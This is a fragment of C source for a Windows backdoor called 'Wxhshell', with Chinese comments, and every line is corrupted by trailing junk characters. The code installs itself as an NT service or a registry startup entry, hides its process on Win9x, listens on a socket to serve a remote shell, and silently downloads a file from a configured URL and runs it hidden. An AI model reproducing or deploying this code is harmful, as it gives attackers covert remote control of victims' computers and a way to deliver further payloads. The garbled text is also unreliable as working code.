ULONG InheritedFromUniqueProcessId; &ZMQ]'&
} PROCESS_BASIC_INFORMATION; F,)+9/S&
QKEtV
PROCNTQSIP NtQueryInformationProcess; D^h!
].3
T
3n)Kzexh
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9;I%Dv
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
BUwL?
IO&U=-pn&
HANDLE hProcess; !0? B=yA
PROCESS_BASIC_INFORMATION pbi; #b&tNZ4!_
DazoY&AWE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ts(u7CJd
if(NULL == hInst ) return 0; GK-P6d
m;4ti9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4 a&8G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C7R3W,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZJcX-Z!\
#J3}H
if (!NtQueryInformationProcess) return 0; #?r|6<4X
8pA<1H%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .czUJyFms}
if(!hProcess) return 0; nu+^D$ait
0+1!-Wo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vb#a ,t
[O ^/"Qk
CloseHandle(hProcess); u59l)8=
JW><&hY$"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;p~!('{P
if(hProcess==NULL) return 0; /kyO,g$9
x
~)~v?>T
HMODULE hMod; {*n<A{$[
m
char procName[255];
{E(2.'d
unsigned long cbNeeded; \reVA$M[
V.$tq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NBasf
n
`Rq|*:LV
CloseHandle(hProcess); >G"fMOOkW
y2?9pVLa\y
if(strstr(procName,"services")) return 1; // 以服务启动 ;u(*&vRqr^
%X\A|V&
return 0; // 注册表启动 s&o9LdL
} W//+[
x.t&NP^V)
// 主模块 '3^ qW
int StartWxhshell(LPSTR lpCmdLine) 2/t; }pw8
{ Bi;a~qE
SOCKET wsl; GK,{$SC+=
BOOL val=TRUE; iNl<<0a
int port=0; 8;"%x|iBoL
struct sockaddr_in door; ,)d`_AD+5
3}phg
if(wscfg.ws_autoins) Install(); 9&zR
i
Z-ci[Zv
port=atoi(lpCmdLine); W\Sc ak>
r6Vw!^]8u8
if(port<=0) port=wscfg.ws_port; wDoCc:
D5Sbs(
WSADATA data; r9bAbE
bI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LzLJ6A>;R
,#;`f=aqTG
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [#\OCdb*3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OOIp)=4
door.sin_family = AF_INET; ZHeue_~x4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); bxxLAWQ(
door.sin_port = htons(port); euT=]j
5M'cOJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !.V_?aYi8
closesocket(wsl); hmLI9TUe6
return 1; )$f?v22
} N
GnE
6=JJ!`"<2
if(listen(wsl,2) == INVALID_SOCKET) { k:~UBs\)(
closesocket(wsl); u&o4?]6
return 1; /{8Y,pZbu
} _a"|
:kX
Wxhshell(wsl); HES$. a
WSACleanup(); -b+)Dp~$p
\,p?pL<'
return 0; 7yg{0a
1z2v[S&pk
} F:<+}{Av
}lPWA/
// 以NT服务方式启动 BIx*(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z \ @9*
{ d72
yu3
DWORD status = 0; O(0a l#Fvj
DWORD specificError = 0xfffffff; ^qC.bv]&
Xu_1r8-|=b
serviceStatus.dwServiceType = SERVICE_WIN32; 8aRmHy"9l
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Jr2>D=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :u=y7[I
serviceStatus.dwWin32ExitCode = 0; .':17 $c`H
serviceStatus.dwServiceSpecificExitCode = 0; uW[AnQ1w
serviceStatus.dwCheckPoint = 0; oliVaavj
serviceStatus.dwWaitHint = 0; &l{ctP%q
FChW`b&S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^HP$r*
if (hServiceStatusHandle==0) return; u|ihUE!h
:|I"Em3R
status = GetLastError(); O7Jp;
if (status!=NO_ERROR) 'i3-mZ/|8
{ ^5 "yY2}-
serviceStatus.dwCurrentState = SERVICE_STOPPED; v/]xdP^Z
serviceStatus.dwCheckPoint = 0; T72Z<h|<
serviceStatus.dwWaitHint = 0; *}(B"FSO
serviceStatus.dwWin32ExitCode = status; d@Bd*iI<
serviceStatus.dwServiceSpecificExitCode = specificError; ,e`n2)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /N/jwLr
return; 1dp8'f5^
} l!j=em@
UiK)m:NU
serviceStatus.dwCurrentState = SERVICE_RUNNING; `N}'5{I
serviceStatus.dwCheckPoint = 0; V*%><r
serviceStatus.dwWaitHint = 0; ~U8#yo
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?5pZp~
} Pa|*Jcr
3v#F0s|
// 处理NT服务事件,比如:启动、停止 m9D*I1
VOID WINAPI NTServiceHandler(DWORD fdwControl) gK *=T
{ !,7)ZW?*8
switch(fdwControl) cZ.p
{ @2$Uk!
case SERVICE_CONTROL_STOP: pwVGe|h%,
serviceStatus.dwWin32ExitCode = 0; 5HAAa I
serviceStatus.dwCurrentState = SERVICE_STOPPED; G&6`?1k
serviceStatus.dwCheckPoint = 0; uAk>VPuuZ
serviceStatus.dwWaitHint = 0; r0'a-Mk;
{ KlwBoC/{K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +rrA>~
} J}@.f-W\j
return; &" yoJ<L
case SERVICE_CONTROL_PAUSE: 5]3Mj*u\
serviceStatus.dwCurrentState = SERVICE_PAUSED; ;t.)A3 PL
break; &y3;`A7,
case SERVICE_CONTROL_CONTINUE: _(@Vf=t
serviceStatus.dwCurrentState = SERVICE_RUNNING; j3
@Q
break; skt9mU
case SERVICE_CONTROL_INTERROGATE: =}+xD|T
break; K1-3!G
}; IJZx$8&A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W>u$x=<T
} fzjtaH?
Z+Fh I^
// 标准应用程序主函数 A;;OGJ,!\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *>lXCx
{ yW}x
a7z%)i;Z
// 获取操作系统版本 /XuOv(j
OsIsNt=GetOsVer(); 2d OUY
$4
GetModuleFileName(NULL,ExeFile,MAX_PATH); O3p<7`K<4
4"+v:t)z6{
// 从命令行安装 zK: 2.4
if(strpbrk(lpCmdLine,"iI")) Install(); WsmP]i^Q
SXV
f&8
// 下载执行文件 r)dXcus
if(wscfg.ws_downexe) {
G/_8xmsU
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )},/=#C0
WinExec(wscfg.ws_filenam,SW_HIDE); &:=[\Ws R
} -wnBdL
n*eqM2L
if(!OsIsNt) { #4& <d.aw'
// 如果时win9x,隐藏进程并且设置为注册表启动 1(a+|
HideProc(); l]5!$N*
StartWxhshell(lpCmdLine); -
SCFWc
} Rap_1o9#\
else ,LDdL
if(StartFromService()) #\O?|bN'q
// 以服务方式启动 ]ex2c{
G
StartServiceCtrlDispatcher(DispatchTable); "A}2iI
else iuoZk5O
// 普通方式启动 <IQ}j^u-F
StartWxhshell(lpCmdLine); u< 5{H='6
IOH6h=
return 0; CN#2-[T
}